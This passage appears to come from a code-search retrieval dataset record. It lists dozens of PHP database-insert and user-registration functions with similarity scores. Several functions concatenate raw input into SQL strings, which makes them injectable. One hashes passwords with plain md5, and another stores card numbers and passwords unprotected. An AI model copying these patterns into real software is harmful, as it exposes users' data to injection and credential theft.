$email, $pwd));\n}", "function insertArtworkArtist($conn, $name) {\n $query = \"INSERT INTO artwork_artist (artwork_artist_name) \"\n . \"VALUES ('${name}')\";\n $result = mysqli_query($conn, $query);\n if ($result) {\n return mysqli_insert_id($conn);\n } else {\n return 0;\n }\n }", "function registerNewUser($dbh, $user, $pass)\n{\n $query = \"INSERT INTO users (user_id, username, password) \n VALUES (:user_id, :username, :password)\";\n $stmt = $dbh->prepare($query);\n $stmt->execute(array('user_id' => null, 'username' => $user, 'password' => $pass));\n}", "function add_usr($fname, $lname, $email, $pass, $usrnm, $typ){\r\n\r\n}", "function register_user_details($id, $name, $surname)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Prepare the statement using mysqli\n // to take care of any potential SQL injections.\n $stmt = mysqli_prepare($link, \"\n INSERT INTO tbl_user_details\n (user_id, name, surname)\n VALUES\n (?, ?, ?)\n \");\n\n // 3. Bind the parameters so we don't have to do the work ourselves.\n // the sequence means: string string double integer double\n mysqli_stmt_bind_param($stmt, 'iss', $id, $name, $surname);\n\n // 4. Execute the statement.\n mysqli_stmt_execute($stmt);\n\n // 5. Disconnect from the database.\n disconnect($link);\n\n // 6. If the query worked, we should have a new primary key ID.\n return mysqli_stmt_affected_rows($stmt);\n }", "function add_familydetail($params)\r\n {\r\n $this->db->insert('FamilyDetails',$params);\r\n return $this->db->insert_id();\r\n }", "function addSponsor($aff_id)\n\t\t{\t\n\t\t\t/*\n\t\t\t\techo \"<pre>\";\n\t\t\t\tprint_r($this->Sponsor);\n\t\t\t\tdie();\n\t\t\t*/\t\n\t\t\t\n\t\t\t$query = \"INSERT INTO tbl_sponsors(`affiliate_id`,`sponsor_name`,`sponsor_description`,`sponsor_url`)\n\t\t\t\t\t VALUES('\".$aff_id.\"','\".$this->Sponsor->sponsor_name.\"','\".$this->Sponsor->sponsor_description.\"',\n\t\t\t\t\t '\".$this->Sponsor->sponsor_url.\"')\";\t\n\t\t\t\t\t \n\t\t\t$rs = $this->Execute($query);\n\t\t\treturn mysql_insert_id();\n\t\t}", "function insertName($name, $unformat_name, $pdo)\n{\n $sql_query = \"INSERT INTO names_app (id, name, unformat_name) VALUES (?,?,?)\";\n $gsent = $pdo->prepare($sql_query);\n $gsent->execute(array(NULL, $name, $unformat_name));\n\n //redirecciona a index.php\n header('location:index.php');\n}", "function register($firstname, $lastname, $birthday, $address, $town, $postal_code, $telephone, $email, $credit_card, $username, $password){\n\t\t$conn \t= connectDB();\n\t\t$sth \t= $conn -> prepare('INSERT INTO `clients` (`id`, `username`, `password`, `firstname`, `lastname`, `email`, `birthday`, `address`, `town`, `postal_code`, `telephone`, `credit_card`, `is_admin`) VALUES (NULL, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 0)');\n\t\t$sth \t-> execute(array($username, $password, $firstname, $lastname, $email, $birthday, $address, $town, $postal_code, $telephone, $credit_card));\n\t}", "public function insert($name,$age,$email,$phone,$city,$state)\n {\n $sql=mysqli_query($this->con,\"INSERT INTO volunteers(Name,ID,Age,email,phoneNumber,homeCity,homeState,totalHours) VALUES('$name',DEFAULT, \t\t\t\t\t\t\t\t\t\t\t\t\t'$age','$email','$phone','$city','$state',0)\");\n if(!$sql)\n {\n echo mysqli_error($this->con);\n }\n\t\tif($sql)\n header('Location:http://ser-322team4.000webhostapp.com/newvolunteer.html?msg=added successfully');\n\t\t\t\n\t\tmysqli_close($this->con);\n }", "function AddStudent($first_name, $last_name, $email, $hashed_pass, $mysqli){\n\n $date = date(\"Y-m-d\");\n $sql = \"INSERT INTO student (First_name, Last_name, Email_address, Password, Registerred_date, Validated, Banned, Number_of_reports) VALUES ('$first_name', '$last_name','$email', '$hashed_pass', '$date', FALSE, FALSE, '0')\";\n\n if($mysqli->query($sql) === TRUE){\n return $mysqli->insert_id;\n }\n else{\n return 0;\n }\n}", "function InsertRecord($tabel_name='',$param)\n {\n $this->db->insert($tabel_name, $param);\n $last_id = $this->db->insert_id();\n\n return $last_id;\n }", "function create($Conexion_ID, $datos = \"\"){\r\n\r\n $query = \"INSERT INTO doctor (snombre,sapellido,stelefono,stelefono_1,id_especialidad) \r\n\t VALUES ('\".$datos['snombre'].\"','\".$datos['sapellido'].\"','\".$datos['stelefono'].\"','\".$datos['stelefono_1'].\"','\".$datos['id_especialidad'].\"')\";\r\n\r\n $response = mysql_query($query, $Conexion_ID);\r\n\r\n print mysql_error($Conexion_ID);\r\n\r\n return $response;\r\n}", "function addSchool($arr){\r\n\tglobal $dbc;\r\n\r\n\t$query = 'INSERT INTO school (\r\n\t\t\t\tname,\r\n\t\t\t\tdistrict,\r\n\t\t\t\tstreet1,\r\n\t\t\t\tstreet2,\r\n\t\t\t\tcity,\r\n\t\t\t\tzip,\r\n\t\t\t\tstate,\r\n\t\t\t\tphone\r\n\t\t\t)\r\n\t\t\tVALUES (\r\n\t\t\t\t\\''. $arr['name'] .'\\',\r\n\t\t\t\t\\''. $arr['district'] .'\\',\r\n\t\t\t\t\\''. $arr['street1'] .'\\',\r\n\t\t\t\t\\''. $arr['street2'] .'\\',\r\n\t\t\t\t\\''. $arr['city'] .'\\',\r\n\t\t\t\t\\''. $arr['zip'] .'\\',\r\n\t\t\t\t\\''. $arr['state'] .'\\',\r\n\t\t\t\t\\''. $arr['phone'] .'\\' )';\r\n\t\r\n\t$result = mysqli_query($dbc, $query);\r\n\tif(!$result){\r\n\t\t$msg = 'Error - not added to database'. mysqli_errno($dbc) .'<br />';\r\n\t}\r\n\telse {\r\n\t\t$msg = 'Successfully added'. $arr['name'] .'to the database!<br />';\r\n\t}\r\n\t\r\n\treturn $msg;\r\n}", "function insertMembership($conn, $bandID, $soloID) {\n $query = \"INSERT INTO band_membership (band_id, solo_id) VALUES ($bandID, $soloID)\";\n mysqli_query($conn, $query);\n return mysqli_insert_id($conn);\n }", "function add_shipto($params){\n $this->company_db->insert('tbl_shipto', $params);\n return $this->company_db->insert_id();\n }", "public function insert($medAccount);", "function addSchool($name, $institution){\n\n\t\t$this->connection->query(\"INSERT INTO school (scho_name, scho_inst) VALUES('$name','$institution')\",true);\n\t\tif($_SESSION['query']){\n\t\t\treturn \"School Successfully Added\";\n\t\t}else{\n\t\t\treturn \"Failed to add school!\";\t\t\n\t\t}\t\n\n\t}", "function addGatepass($txtGatePass){\n\trequire 'connection.php';\n\n\t$txtGatePass = strtoupper($txtGatePass);\n\n\t$sql = \"INSERT INTO tbl_gatepass (`gatepass`) VALUES ('\".$txtGatePass.\"');\" ;\n\n\tif ($conn->query($sql) === TRUE) {\n\t\techo \"\n\t\t<div class='alert alert-success' role='alert'>\n\t\tRecord added successfully!\n\t\t</div>\";\n\t} else {\n\t\t$conn->error;\n\t}\n}", "public function fnaddstaffmaster($result,$larrformData) {\r\n\t\t$larrformData['Phone'] = $larrformData['Phonecountrycode'].\"-\".$larrformData['Phonestatecode'].\"-\".$larrformData['Phone'];\r\n\t\tunset($larrformData['Phonecountrycode']);\r\n\t\tunset($larrformData['Phonestatecode']);\r\n\t\t\r\n\t\t$larrformData['Mobile'] = $larrformData['Mobilecountrycode'].\"-\".$larrformData['Mobilestatecode'].\"-\".$larrformData['Mobile'];\r\n\t\tunset($larrformData['Mobilecountrycode']);\r\n\t\tunset($larrformData['Mobilestatecode']);\r\n\t\t\r\n\t\t$data = array('FirstName'=>$larrformData['FirstName'],\r\n\t\t\t\t\t 'SecondName'=>$larrformData['FirstName'],\r\n\t\t \t\t\t 'ThirdName'=>$larrformData['ThirdName'],\r\n\t\t \t\t\t 'FourthName'=>$larrformData['FourthName'],\r\n\t\t\t\t\t 'FullName'=>$larrformData['FullName'],\r\n\t\t\t\t\t 'ArabicName'=>$larrformData['ArabicName'],\r\n\t\t\t\t\t 'Add1'=>$larrformData['Address1'],\r\n\t\t\t\t\t 'Add2'=>$larrformData['Address2'],\r\n\t\t\t\t\t 'City'=>$larrformData['Citystaff'],\r\n\t\t\t\t\t 'State'=>$larrformData['Statestaff'],\r\n\t\t\t\t\t 'Country'=>$larrformData['Countrystaff'],\r\n\t\t\t\t\t 'Zip'=>$larrformData['Zipcode'],\r\n\t\t\t\t\t 'Phone'=>$larrformData['Phone'],\r\n\t\t\t\t\t 'Mobile'=>$larrformData['Mobile'],\r\n\t\t\t\t\t 'Email'=>$larrformData['Emailstaff'],\r\n\t\t\t\t\t 'Active'=>$larrformData['Active'],\r\n\t\t\t\t\t 'StaffType'=>$larrformData['StaffType'],\r\n\t\t\t\t\t 'IdCollege'=>$result,\r\n\t\t\t\t\t 'IdLevel'=>$larrformData['IdLevel'],\r\n\t\t\t\t\t 'IdDepartment'=>'1',\r\n\t\t\t\t\t 'UpdDate'=>$larrformData['UpdDate'],\r\n\t\t\t\t\t 'UpdUser'=>$larrformData['UpdUser']);\r\n\t\t$this->insert($data);\r\n\t\t$lobjdb = Zend_Db_Table::getDefaultAdapter();\r\n\t\treturn $lobjdb->lastInsertId();\r\n\t}", "protected function insert()\n {\n $insert = 'INSERT INTO users (first_name, last_name, email, password)\n VALUES (:first_name, :last_name, :email, :password)';\n $statement = self::$dbc->prepare($insert);\n unset($this->attributes['id']);\n foreach ($this->attributes as $key => $value) {\n $statement->bindValue(\":$key\", $value, PDO::PARAM_STR);\n }\n $statement->execute();\n $this->attributes['id'] = self::$dbc->lastInsertId();\n }", "function add_user($fname = '', $lname = '', $lukasid = '', $new = 0)\r\n\t{\r\n\t\t// fixing and trimming\r\n\t\t$fn = trim(preg_replace(\"/[^A-Za-zåäöÅÄÖ]/\", \"\", $fname ));\r\n\t\t$ln = trim(preg_replace(\"/[^A-Za-zåäöÅÄÖ]/\", \"\", $lname ));\r\n\t\t$lid = trim(preg_replace(\"/[^A-Za-z0-9]/\", \"\", $lukasid ));\r\n\r\n\t\t// check lengths\r\n\t\tif(strlen($fn) > 0 && strlen($ln) > 0 && strlen($lid) == 8)\r\n\t\t{\r\n\t\t\t// if lukas_id not exists insert user\r\n\t\t\tif(!$this->lukasid_exists($lid))\r\n\t\t\t{\r\n\t\t\t\t$data = array(\r\n\t\t\t\t 'first_name' => $fn ,\r\n\t\t\t\t 'last_name' => $ln,\r\n\t\t\t\t 'lukasid' => $lid,\r\n\t\t\t\t 'new' => ($new ? true : false)\r\n\t\t\t\t);\r\n\t\t\t\t$q = $this->db->insert('users', $data);\r\n\t\t\t\treturn $q;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\treturn false;\r\n\t\t} else {\r\n\t\t\t// something was not correct\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function insert($name, $surname, $birth, $zip, $email)\n {\n $name = strtoupper($name);\n $surname = strtoupper($surname);\n $s_name = [$name, $surname];\n try {\n foreach ($s_name as $value) {\n $this->checkString($value);\n }\n $this->checkBDay($birth);\n $this->checkEmail($email);\n $this->checkZipCode($zip);\n\n // prepare and bind\n $this->connect();\n // prepare and bind\n $stmt = $this->conn->prepare(\"INSERT INTO contatti (nome, cognome, nascita, cap, email) VALUES (?,?,?,?,?)\");\n $stmt->bind_param(\"sssss\", $name, $surname, $birth, $zip, $email);\n // set parameters and execute\n $stmt->execute();\n $stmt->close();\n $ret = $this->conn->insert_id;\n return $ret;\n\n } catch (\\Exception $e) {\n echo \"<script>alert('Uno o più campi non sono abilitati ad essere gestiti. Riprovare.')</script>\";\n }\n finally {\n $this->disconnect();\n }\n\n }", "public abstract function Insert();", "private function insertUserDetails($un,$fn,$ln,$e1,$pw1)\n {\n $encryptedpw = md5($pw1);\n $profilePic = \"assets/img/profile-pics/profile_pic.jpg\";\n $date = date(\"Y-m-d\");\n \n $result = mysqli_query($this -> con,\"INSERT INTO users VALUES('','$un','$fn','$ln','$e1','$encryptedpw','$date','$profilePic')\");//Must have single quote on every parameter\n \n return $result;\n }", "public function insertUser($params) {\n\n\t}", "public function insert($gunBbl);", "public function insertStation($Name, $DistrictID, $Latitude, $Longitude, $ArbcAdrs, $Adrs, $ArbcName){\r\n $strSQL = \"INSERT INTO Stations (STTN_NAME, STTN_DIST_ID, STTN_LATT, STTN_LONG, STTN_ARBC_ADRS, STTN_ADRS, STTN_ARBC_NAME)\r\n VALUES (?, ?, ?, ?, ?, ?, ?)\";\r\n\r\n $inputs = array($Name, $DistrictID, $Latitude, $Longitude, $ArbcAdrs, $Adrs, $ArbcName);\r\n $query = $this->db->query($strSQL, $inputs);\r\n\r\n }", "function dataAdd($p_username, $p_salt, $p_hashpwd, $p_fname, $p_lname, $p_email, $p_usertype, $p_publish)\n {\n $result_id = false;\n \n $sql = 'INSERT INTO user ';\n $sql .= '(fkusertypeid, username, userpwd, saltpwd, firstname, lastname, email, isactive) VALUES ';\n $sql .= '(?, ?, ?, ?, ?, ?, ?, ?) ';\n\n $paramtype = 'issssssi';\n \n $paramdata = array(\n 'fkusertypeid' => $p_usertype,\n 'username' => $p_username,\n 'userpwd' => $p_hashpwd,\n 'saltpwd' => $p_salt,\n 'firstname' => $p_fname,\n 'lastname' => $p_lname,\n 'email' => $p_email,\n 'isactive' => $p_publish\n );\n \n parent::stmtPrepare($sql); \n\n parent::stmtSetParamTypeString($paramtype);\n parent::stmtSetParamData($paramdata);\n parent::stmtBindParam();\n \n parent::stmtExecute();\n $result_id = parent::stmtGetInsertedID();\n parent::stmtReset();\n parent::stmtClose(); \n\n return $result_id; \n }" ]
[ "0.6768745", "0.66826344", "0.6612501", "0.65286213", "0.64290684", "0.6192696", "0.61830425", "0.60896575", "0.6061156", "0.60076153", "0.59817463", "0.5969473", "0.5959486", "0.5930204", "0.5925468", "0.59191656", "0.5914841", "0.5898428", "0.5882089", "0.5871063", "0.5862875", "0.5856446", "0.58382356", "0.5827008", "0.58253366", "0.58169067", "0.5785566", "0.57763857", "0.57725424", "0.5762943", "0.5759953", "0.57460976", "0.57232803", "0.5713152", "0.5701488", "0.5700126", "0.5697285", "0.56933725", "0.5684906", "0.5684619", "0.5674932", "0.56719947", "0.56699127", "0.5669352", "0.5664383", "0.5656493", "0.5655166", "0.56487095", "0.56429905", "0.56259626", "0.5621278", "0.56140345", "0.56140345", "0.56140345", "0.5602952", "0.56001383", "0.56000096", "0.55848026", "0.55757624", "0.5569979", "0.5554919", "0.554048", "0.5537367", "0.55353206", "0.55350745", "0.5530927", "0.5527658", "0.55265075", "0.5524832", "0.5520775", "0.5511063", "0.55045825", "0.5497586", "0.5494354", "0.54745567", "0.5473333", "0.54635715", "0.5463031", "0.54608065", "0.54597956", "0.5458399", "0.5458281", "0.5452655", "0.54470307", "0.54447013", "0.5441421", "0.54291093", "0.5428592", "0.5426579", "0.5423838", "0.5420454", "0.54192716", "0.54141176", "0.541288", "0.5412364", "0.5410279", "0.54099685", "0.54095477", "0.5406234", "0.5398915" ]
0.7104776
0
The end date and time of the item (in [ISO 8601 date format](
public function endDate($endDate) { return $this->setProperty('endDate', $endDate); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getEndDateTime();", "public function getDateTimeObjectEnd();", "public function getEndDateAndTime() {}", "public function getEnd_date() {\n\t\treturn $this->_end_date;\n\t}", "public function getEndDateTime()\n {\n return $this->endDateTime;\n }", "public function get_end_date()\n\t{\n\t\treturn $this->end_date;\n\t}", "public function getEndDate()\n {\n return $this->stringToDate((string) $this->json()->end_date);\n }", "public function getEndDate()\n {\n if ( ! $this->getData('end_date'))\n {\n return \"-\";\n }\n\n return $this->getData('end_date');\n }", "public function getFormattedEndAt(): string\n {\n\n return $this->endAt->format('d-m-Y');\n\n }", "public function getEnd()\n {\n return $this->end_time;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "function getEndDate() \n\t{\n\t\treturn (strlen($this->end_date)) ? $this->end_date : NULL;\n\t}", "public function getEnd() : \\DateTime\n {\n return new \\Datetime($this->end);\n }", "public function getEndDate()\r\n\t\t{\r\n\t\t\treturn $this->end_date;\r\n\t\t}", "public function getEndTimestamp() {}", "function tripal_jobs_get_end_time($job){\n if($job->end_time > 0){\n $end = format_date($job->end_time);\n } else {\n $end = '';\n }\n return $end;\n}", "public function getEndTime()\r\n {\r\n $date = new Zend_Date($this->start_time);\r\n $date->addDay($this->duration);\r\n \r\n return $date->toString(Time_Format::getFullDateTimeFormat());\r\n }", "public function get_endtime()\n {\n }", "public function getEndDate() {\n\n return $this->end_date;\n }", "public function getEndDate() {\n return $this->endDate;\n }", "public function get_end_time() {\r\n\t\tif ( ! isset( $this->end_time ) ) {\r\n\r\n\t\t\tif ( $this->is_endless() ) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t/**\r\n\t\t\t * The date is stored in the format of Y-m-d H:i:s.\r\n\t\t\t */\r\n\t\t\t$date_time \t= explode( ' ', $this->end_date );\r\n\t\t\t$date \t\t= explode( '-', $date_time[0] );\r\n\t\t\t$time \t\t= explode( ':', $date_time[1] );\r\n\t\t\t$this->end_time = mktime( $time[0], $time[1], $time[2], $date[1], $date[2], $date[0] );\r\n\t\t}\r\n\t\treturn $this->end_time;\r\n\t}", "function eo_the_end($format='d-m-Y',$id=''){\n\techo eo_get_the_end($format,$id);\n}", "public function getEnd()\n {\n return Carbon::createFromFormat('d/m/Y', $this->data_saida);\n }", "function GetEndTime() {\n return date(\"Y-m-d H:i:s\");\n }", "public function getEndDate();", "public function getEndDate();", "public function getEndTime()\n {\n return $this->get(self::_END_TIME);\n }", "public function getEndDate(){\n\t\treturn $this->endDate;\n\t}", "function eo_get_the_end($format='d-m-Y',$id='',$occurrence=0){\n\tglobal $post;\n\t$event = $post;\n\n\tif(isset($id)&&$id!='') $event = eo_get_by_postid($id);\n\n\tif(empty($event)) return false;\n\n\t$date = esc_html($event->EndDate).' '.esc_html($event->FinishTime);\n\n\tif(empty($date)||$date==\" \")\n\t\treturn false;\n\n\treturn eo_format_date($date,$format);\n}", "public function getFormattedEndDate() {\n\t\t$format_1 = 'Y-m-d';\n\t\t$format_2 = 'Y-m-d H:i';//format coming from web page\n\t\t$format_3 = 'Y-m-d H:i:s';//format coming from mysql\n\t\t$date = null;\n\t\t$formatted_date = \"\";\n\t\t\n\t\tif (!isset($this -> end_time) ) \n\t\t\treturn \"\";\n\t\t$date = DateTime::createFromFormat($format_2, $this -> end_time);\n\t\tif ( $date == false )\n\t\t\t$date = DateTime::createFromFormat($format_3, $this -> end_time);\n\t\t// var_dump($date);\n\t\treturn $date == false ? \"\" : $date->format($format_1) ;\n\t\t\n\t}", "public function getEndDate()\n {\n return $this->endDate;\n }", "public function getEndDate()\n {\n return $this->endDate;\n }", "public function getEndDate()\n {\n return $this->endDate;\n }", "public function getEndDate()\n {\n return $this->endDate;\n }", "public function getEndDate()\n {\n return $this->endDate;\n }", "public function getEndDate()\n {\n return $this->endDate;\n }", "function GetEndTimestamp () {\n return $this->hunt_end_timestamp;\n }", "public function getEndAtAttribute(): string\n {\n $app_slot = $this->doctor->app_slot;\n\n return $this->start_at->addMinutes($app_slot)->toDateTimeString();\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime();", "public function getEndTime();", "public function getEndTime();", "protected function getEnd()\n {\n return new Zend_Date(\n Mage::getStoreConfig(self::CONFIG_PREFIX . 'end', $this->getStore()),\n $this->getDateTimeFormat(),\n $this->getLocale()->getLocaleCode()\n );\n }", "public function getEndDate() {\n return $this->endDate;\n }", "public function getEndDate() {\n return $this->endDate;\n }", "public function getEndDate() \n {\n return $this->_fields['EndDate']['FieldValue'];\n }", "public function getEndDate()\n {\n return $this->EndDate;\n }", "public function get_endDate()\n {\n return $this->_endDate;\n }", "public function getEndTime()\n {\n return $this->end;\n }", "public function getServiceEndAt() {\n return $this->attributes['service_end_at'];\n }", "public function getEndTime() {\n return $this->get(self::ENDTIME);\n }", "public function getTimeEnd() {\n return $this->time_end;\n }", "public function getEndAt()\n {\n return $this->end_at;\n }", "public function getEndAt()\n {\n return $this->end_at;\n }", "public function getTime_end()\n {\n return $this->time_end;\n }", "public function getEventEndDate() {\n\t\treturn ($this->eventEndDate);\n\t}", "function erp_financial_end_date() {\n $financial_year_dates = erp_get_financial_year_dates();\n\n return $financial_year_dates['end'];\n}", "public function getEndDate(): Date\n {\n return $this->endDate;\n }", "public function getAvailabilityEndDateTime()\n {\n if (array_key_exists(\"availabilityEndDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"availabilityEndDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"availabilityEndDateTime\"])) {\n return $this->_propDict[\"availabilityEndDateTime\"];\n } else {\n $this->_propDict[\"availabilityEndDateTime\"] = new \\DateTime($this->_propDict[\"availabilityEndDateTime\"]);\n return $this->_propDict[\"availabilityEndDateTime\"];\n }\n }\n return null;\n }", "public function getEndDateTime()\n {\n if (array_key_exists(\"endDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"endDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"endDateTime\"])) {\n return $this->_propDict[\"endDateTime\"];\n } else {\n $this->_propDict[\"endDateTime\"] = new \\DateTime($this->_propDict[\"endDateTime\"]);\n return $this->_propDict[\"endDateTime\"];\n }\n }\n return null;\n }", "private function _retrieveEndDate()\n {\n global $preferences;\n\n $bdate = new \\DateTime($this->_begin_date);\n if ( $preferences->pref_beg_membership != '' ) {\n //case beginning of membership\n list($j, $m) = explode('/', $preferences->pref_beg_membership);\n $edate = new \\DateTime($bdate->format('Y') . '-' . $m . '-' . $j);\n while ( $edate <= $bdate ) {\n $edate->modify('+1 year');\n }\n $this->_end_date = $edate->format('Y-m-d');\n } else if ( $preferences->pref_membership_ext != '' ) {\n //case membership extension\n $dext = new \\DateInterval('P' . $this->_extension . 'M');\n $edate = $bdate->add($dext);\n $this->_end_date = $edate->format('Y-m-d');\n }\n }", "public function getEndTime()\n {\n $time = $this->eventdatetime->endtime;\n\n if (empty($time)) {\n return $time;\n }\n\n if ($this->eventdatetime->isRecurring() &&\n isset($this->recurringdate) &&\n $this->recurringdate instanceof \\UNL\\UCBCN\\Event\\RecurringDate\n ) {\n $diff = strtotime($this->eventdatetime->endtime) - strtotime($this->eventdatetime->starttime);\n\n $time = date('Y-m-d H:i:s', strtotime($this->getStartTime()) + $diff);\n }\n\n return $time;\n }", "public function getEnd()\n {\n return $this->getLatestPeriod()->getEnd();\n }", "public function set_end_date()\n {\n if ($this->end_date === NULL && $this->start_date === NULL) {\n $this->formated_end_date = \"the game has not started yet\";\n } elseif($this->end_date === NULL && $this->start_date !== NULL) {\n $this->formated_end_date = \"the game is not finished yet\";\n } else {\n $end_date = Carbon::createFromTimestamp($this->end_date / 1000);\n $this->formated_end_date = $end_date->toDayDateTimeString();\n }\n return $this->formated_end_date; \n }", "public function getEnd(): ?DateTimeInterface\r\n {\r\n return $this->end;\r\n }", "function end_time($end_time=null)\n {\n if (isset($end_time)) $this->end_time = $end_time;\n return $this->end_time;\n }", "public function getEndTime($date=null){\n\t\t$dateNew = new DateTime($date);\n\t\t$dateNew->setTime(24,59);\n\t\t$dateNew = date_format($dateNew,\"Y-m-d H:i:s\");\n\t\treturn $dateNew;\n\t}", "function eo_get_schedule_end($format='d-m-Y',$id=''){\n\tglobal $post;\n\t$event = $post;\n\n\tif(isset($id)&&$id!='') $event = eo_get_by_postid($id);\n\n\t$date = esc_html($event->reoccurrence_end.' '.$event->StartTime);\n\n\tif(empty($date)||$date==\" \")\n\t\treturn false;\n\n\treturn eo_format_date($date,$format);\n}", "public function get_end_time()\r\n {\r\n return strtotime('-1 Second', strtotime('+1 Day', $this->get_start_time()));\r\n }", "public function getEndTime()\n {\n return $this->endTime;\n }", "public function getEndOfDayDate()\n {\n return $this->_date->date(null, '23:59:59');\n }", "public function getFreeSupportEndDate() {\n\t\tif (!$this->startfgp) {\n\t\t\treturn '';\n\t\t}\n\t\t$time = strtotime($this->startfgp.\" + \".$this->durationfgp.\" days\");\n\t\treturn $time;\n\t}", "public function getRpacketEndDate()\n {\n return $this->rpacket_end_date;\n }", "public function getEndTime() {\r\n\t\treturn $this->endTime;\r\n\t}", "public function getEndTime() {\n return $this->endTime;\n }", "public function getEnd();", "public function getEndTime(): ?string;", "function get_end_date($values)\n {\n if(!empty($values['edate']))\n {\n $edate = explode(\"-\",$values['edate']);\n $end_timestamp = mktime(0,0,0,$edate[1],$edate[2],$edate[0]);\n }\n else\n $end_timestamp = time();\n \n return $end_timestamp;\n }", "public function getEndTime(){\n //the object and not return a new one, we\n //need to clone the object and modify a copy\n //so we can keep the original DateTime obj\n $date=clone $this->dateTime;\n $date->add(\\DateInterval::createFromDateString(\"1 hour\"));\n\n return $date;\n }", "public function endDate()\n {\n $specialEndDate = $this->getSpecialEndDate();\n if ($specialEndDate !== false) {\n return $specialEndDate;\n }\n\n $this->date->setTimestamp($this->begin);\n\n $position = array_search($this->ruleInfo['baseWeekday'], $this->ruleInfo['weekdays']);\n\n if ($position !== 0) {\n $this->date->gotoDayOfWeek($this->ruleInfo['weekdays'][0]);\n }\n\n $repeatedWeek = ceil(($this->ruleInfo['times'] + $position) / count($this->ruleInfo['weekdays'])) - 1;\n $mod = ($this->ruleInfo['times'] + $position) % count($this->ruleInfo['weekdays']);\n $endDayPosition = $mod === 0 ? count($this->ruleInfo['weekdays']) - 1 : $mod - 1;\n $this->date->addWeek($repeatedWeek * $this->ruleInfo['freq']);\n\n if ($endDayPosition === 0) {\n $this->ruleInfo['end'] = $this->date->getDateWithExtendedYear();\n\n return $this->ruleInfo['end'];\n }\n\n $this->date->gotoDayOfWeek($this->ruleInfo['weekdays'][$endDayPosition]);\n $this->ruleInfo['end'] = $this->date->getDateWithExtendedYear();\n\n return $this->ruleInfo['end'];\n }", "function getEndDate()\n {\n $oDaySpan = $this->_value;\n $value = is_null($oDaySpan) ? null : $oDaySpan->getEndDate();\n return $value;\n }", "public function getEnd()\n {\n return isset($this->transaction['end']) ? $this->transaction['end'] : '';\n }", "protected function parseEndTime() {\n\t\treturn $this->parseTime('endTime', function($a, $b) { return $a > $b; } );\n\t}", "function get_event_end_time($post_id){\n\t\treturn get_post_meta($post_id, '_end_time', true);\n\t}", "public function getEnd() {}", "function getEndMicrotime();", "private function end() {\n return $this->formats['end'];\n }", "function eo_schedule_end($format='d-m-Y',$id=''){\n\techo eo_get_schedule_end($format,$id);\n}", "public function getEndOfDayDate()\n\t{\n\t\t$objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n\n\t\treturn $objectManager->create('\\Magento\\Framework\\Stdlib\\DateTime\\DateTime')->date(null, '23:59:59');\n\t}", "public function getEndedAt()\n {\n return $this->endedAt;\n }" ]
[ "0.7273195", "0.70835245", "0.6888372", "0.68717617", "0.68230295", "0.67797357", "0.67565393", "0.66900176", "0.6611201", "0.66067123", "0.65667653", "0.65667653", "0.65667653", "0.65667653", "0.65667653", "0.65576553", "0.6505448", "0.6476127", "0.6453115", "0.64466244", "0.6440001", "0.64103884", "0.6383557", "0.6370846", "0.6365462", "0.63615716", "0.63510764", "0.6341884", "0.6311561", "0.6311561", "0.62992454", "0.62944746", "0.6275017", "0.6267583", "0.62580794", "0.62580794", "0.62580794", "0.62580794", "0.62580794", "0.62580794", "0.6241163", "0.6203389", "0.61978066", "0.61978066", "0.61978066", "0.61978066", "0.61978066", "0.61978066", "0.61978066", "0.61978066", "0.61976856", "0.61976856", "0.61976856", "0.61722195", "0.61645854", "0.61645854", "0.61637723", "0.6161952", "0.6158394", "0.61536413", "0.61308485", "0.6115555", "0.61122864", "0.6111393", "0.6111393", "0.6100108", "0.6095978", "0.60545635", "0.60544246", "0.6032055", "0.6026905", "0.6019494", "0.6018956", "0.6017639", "0.60107124", "0.60004014", "0.59273165", "0.59096223", "0.5904957", "0.5897727", "0.58972293", "0.5879157", "0.5878099", "0.5844778", "0.58262265", "0.58111507", "0.5794145", "0.57805616", "0.5760891", "0.5729989", "0.5706087", "0.5696114", "0.5693713", "0.5693201", "0.5685002", "0.56590736", "0.5639835", "0.56323355", "0.5627618", "0.560963", "0.5587034" ]
0.0
-1
The start date and time of the item (in [ISO 8601 date format](
public function startDate($startDate) { return $this->setProperty('startDate', $startDate); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDateTimeObjectStart();", "public function getStartDateTime();", "public function getStartDateAndTime() {}", "public function getStartDate()\n {\n return $this->stringToDate((string) $this->json()->start_date);\n }", "public function date() {\n return $this->begin;\n }", "public function getStartTimestamp() {}", "public function getStartDateTime()\n {\n return $this->startDateTime;\n }", "public function get_start_time()\r\n {\r\n return strtotime(date('Y-m-d 00:00:00', $this->get_display_time()));\r\n }", "public function getStart()\n {\n return $this->start_time;\n }", "public function getStartTime()\n {\n return $this->getData('start_time', 0);\n }", "public function getStart_date() {\n\t\treturn $this->_start_date;\n\t}", "public function getStartAt()\n {\n return $this->start_at;\n }", "public function get_start_date()\n\t{\n\t\treturn $this->start_date;\n\t}", "public function getStartDate() {\n return $this->startDate;\n }", "public function getDateStart()\n {\n return $this->dateStart;\n }", "public function getDateStart()\n {\n return $this->dateStart;\n }", "public function getDateStart()\n {\n return $this->dateStart;\n }", "public function getStartTime()\n {\n return $this->start_time;\n }", "public function getStartTime()\n 